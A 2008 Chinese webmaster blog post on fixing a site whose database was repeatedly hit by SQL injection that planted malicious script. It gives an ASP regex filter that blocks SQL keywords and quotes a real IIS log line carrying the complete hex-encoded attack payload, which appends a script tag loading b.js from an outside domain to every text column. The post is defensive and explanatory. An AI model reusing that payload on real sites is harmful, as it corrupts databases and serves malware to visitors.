网站运营
位置:首页>> 网站运营>> 最近流行的数据库挂马的解决方法

最近流行的数据库挂马的解决方法

作者:chxwei 来源:chxwei 发布时间:2008-07-05 16:48:00 

标签:注入,挂马,数据库,sql

前段时间,公司一个主要的网站数据库中个别表的数据经常被修改并挂马,由于网站是以前别人做的,代码有点乱,所以只看了与这几个表相关的文件代码。原因可能是接收参数的时候没有过滤危险字符,于是就加上了接受参数的格式化函数,数据库连接文件中也把接受参数时出现的“;”替换成“;”了。但是过了一天,又被挂马,分号替换没有起到作用。

于是搜索了一下,发现从3月份开始很多数据库SQL注入挂马的例子,看来这段时间这种挂马手段很流行,并且只是针对Asp+Sql Server的网站,只有你网站代码存在SQL注入的漏洞,就可能会被挂马,而且只针对文本型的字段char/text类似的字段,修改之后的数据后面基本上都是js,1.js,b.js等,而且里面的网址经常改变。

无奈,只能先找防止SQL注入的方法,在网上搜索到以下代码,把该代码加到数据库连接文件中:

<%
Response.Buffer = True
Const EnableStopInjection = True
If EnableStopInjection = True Then
    If Request.QueryString <> "" Then Call StopInjection(Request.QueryString)
    If Request.Cookies <> "" Then Call StopInjection(Request.Cookies)
    If Request.Form <> "" Then Call StopInjection(Request.Form)
End If
Sub StopInjection(Values)
Dim regEx
Set regEx = New RegExp
    regEx.IgnoreCase = True
    regEx.Global = True
    regEx.Pattern = "'|;|#|([\s\b+()]+(select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b+]*)"
    Dim sItem, sValue
    For Each sItem In Values
        sValue = Values(sItem)
        If regEx.Test(sValue) Then
            Response.Write "检测到SQL注入危险, 请确认你提交的信息。"
            Response.End
        End If
    Next
    Set regEx = Nothing
End Sub
%>

注意:regEx.Pattern中的值根据你的需要设置,如设置不当,则一般提交的信息也会提示有SQL注入。

加上这段代码之后就再也没有出现被注入挂马的现象。

前几天,从空间商那要IIS日志,查看日志才发现被SQL注入的具体网址与方法,如下:

2008-06-23 16:01:31 GET /xxx.asp id=90;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E616477626E722E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- - 201.8.166.17 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) - www.xxx.com 200 0 271 1432 406

中间那段代码解密之后就是:


DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select
a.name,b.name
from sysobjects a,
syscolumns b
where a.id=b.id and
a.xtype=’u’ and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec(’update [’+@T+’] set [’+@C+’]=
rtrim(convert(varchar,[’+@C+’]))+
”挂马内容”’)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

并且,这个SQL注入隔几分钟一次,而且不停地更换IP,根本就无法查到它的真实来源,可见这种人多么卑鄙。

如果网站IIS日志比较大,则可以考虑chxwei前几天写的“IIS网站日志导入分析工具”帮你查询分析。

最后总结一下,如果数据库数据库被修改并挂马:

1、先看IIS日志,被注入的页面是哪些,然后修改那些页面的代码,防止SQL注入。
  2、如果没有IIS日志,也找不到被利用的页面,那就使用上面说的在数据库连接文件中加入那些代码。

出现SQL注入,肯定是网站代码存在漏洞,所以代码规范化才是重点。

0
投稿

猜你喜欢

  • 暴风影音、百度搜霸、迅雷,PPStream QVOD有漏洞传播木马我相信没有谁不用暴风影音、百度搜霸、迅雷,PPStream QVOD这些软
  • 据国外媒体报道,微软董事会主席比尔·盖茨(Bill Gates)周二表示,互联网技术将在今后十年发生巨大变革。盖茨是在受韩国总统李明博接见时
  • 很多朋友想建ftp服务器在Internet上共享自己的资源,苦于没有公网IP,无法实现。其实,内网IP也可以建ftp服务器的。第一步:首先当
  • 网络的迅速发展,如何在自己的爱机上建设自己的网站, 那么选择什么系统呢?Win 2000漏洞百出,Win 2003又专门为服务器设计,不太适
  •  最易创业成功的方式有"网络、加盟、兼职、团队、大赛、概念、内部"等七种方式。  &nbs
  • Linux中系统服务却越来越多,而且似乎也没有哪里专门介绍了每个服务的功能,搞得我们不知道机器启动了什么服务,是否达到了最优化的启动模式。所
  • 刚刚在站长网看到这么一篇文章“站长!你愿意干掉你网站的最大绊脚石吗?”,大致意思是让站长们把网站的流量做起来过后就删除统计代码,只顾埋头向前
  • 既然搜索引擎没有一个完善的机智来识别图片,那么我们就要帮助搜索引擎识别,根据我们的实验经验,下面总结出几点建议,供大家参考讨论。一 ALT标
  • 随着Internet技术的飞速发展,Web技术得到广泛应用。而安全问题一直都是Internet的一个薄弱环节,任何连接到Internet或者
  • 内容摘要:从使用虚拟空间到使用独立服务器,这对一个站长来说是一件惊天动地的大事,对于一个没有拿自己电脑做过服务器的站长来说,第一次拿到属于自
  • 中文分词又叫中文切词,中文划词等,是seo必须掌握的一个基础知识。现有的中文分词算法可分为三大类:基于字符串匹配的分词方法、基于理解的分词方
  • 在页面中添加一个随机文章列表的好处是降低站内页面相似度,避免对搜索引擎将页面当做复制页面来处理。我的QQ代码站,这个站就是这种情况。那么要实
  • 光棍节的狂欢“时间到,开抢!”坐在电脑前早已等待多时的小美一看时间已到2011年11月11日零时,便迫不及待地投身于淘宝商城一年一度的大型网
  • 自带的关于网络的命令行工具很多,比如大家熟悉的Ping、Tracert、Ipconfig、Telnet、Ftp、Tftp、Netstat,还
  • 世界上没有绝对安全的系统,即使是普遍认为稳定的Linux系统,在管理和安全方面也存在不足之处。我们期望让系统尽量在承担低风险的情况下工作,这
  • &ldquo;XX,你又来我家偷菜,太无耻了!&rdquo;&ldquo;我辛辛苦苦种的玫瑰啊,你们就不能给我留点吗
  • 我们以世界排名第一的yahoo为例:在输入www.yahoo.com网址后,会出现:1、该网站的截图。右边有两行数据:Avg. Review
  • 如要在不同树林里访问资源,系统管理员须手动配置信任关系。Windows 2000具有在不同树林的域之间配置单向非传递性信任的功能。你必须在不
  • RHEL4中的vsftpd在编译时已经支持tcp_wrappers,因此可以利用tcp_wrappers实现主机访问控制。实验之前,首先说下
  • 并排 (SxS) 集合允许 ASP 应用程序指定要使用哪个版本的系统 DLL 或传统 COM 组件,例如 MDAC、MFS、MSVCRT、M
手机版 网站运营 asp之家 www.aspxhome.com